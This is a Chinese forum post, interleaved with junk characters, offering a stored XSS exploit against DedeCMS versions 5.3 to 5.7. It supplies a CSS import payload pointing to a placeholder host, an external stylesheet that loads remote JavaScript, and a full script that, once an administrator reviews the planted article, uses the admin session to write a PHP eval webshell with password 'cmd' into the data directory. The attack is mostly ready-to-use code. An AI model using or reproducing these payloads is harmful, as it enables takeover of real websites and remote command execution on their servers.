dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
# j. |4 K1 s5 j2 q! M为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
: ~3 g" h# }# Q5 Q; n目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
* z/ s" @9 |+ e; F+ G下面说说利用方法。
条件有2个：
: ^& O( m7 Z4 r( F8 [+ u1.开启注册
* {% L3 u, e' }% G7 P! P: t. J2.开启投稿
5 x; |" x2 h6 m. r. W* Z3 ~1 }- L注册会员----发表文章
7 R; C; |2 D4 |, x内容填写：
* J+ M9 y! C3 H7 w9 R  S. H  }复制代码
<style>@im\port'\http://xxx.com/xss.css';</style>
, g7 X, m; X* ~5 \  ~新建XSS.Css
% E$ E" D) [5 m6 [复制代码
' K8 C% i2 I! l1 x.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
新建xss.js 内容为
复制代码
6 V" Q7 B% f9 G! s* @1 Y1 y7 H  R5 Y1.var request = false;
0 n+ l" C1 Y! @' v2 M7 j2.if(window.XMLHttpRequest) {
3.request = new XMLHttpRequest();
3 z" o: a$ Y1 Y! J8 Q/ H  b4.if(request.overrideMimeType) {
1 U9 d* M4 Z1 E+ a5.request.overrideMimeType('text/xml');
. f4 Z2 G! F* W( v& |4 I6.}
7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9.for(var i=0; i<versions.length; i++) {
10.try {
) f! t* r" S* D$ r, d11.request = new ActiveXObject(versions);
12.} catch(e) {}
, v( A7 ]3 X$ g. Q5 Z; _' U13.}
% X- h% Q* W# j5 y7 E14.}
15.xmlhttp=request;
" S( [/ Y9 y/ W! B16.function getFolder( url ){
17. obj = url.split('/')
8 c* W& Z: E1 c. e18. return obj[obj.length-2]
/ x5 R1 v! ~2 Z19.}
1 [5 R9 s. e9 W6 C/ j) d20.oUrl = top.location.href;
7 M  x  ^! T$ H21.u = getFolder(oUrl);
: d% B+ a$ V, [+ W+ r" t" ]22.add_admin();
23.function add_admin(){
24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
8 f. D0 X% p% z4 L5 ~% C% l; b26.xmlhttp.open("POST", url, true);
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
28.xmlhttp.setRequestHeader("Content-length", params.length);
: I1 K: d5 i, c29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
30.xmlhttp.send(params);
31.}
当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd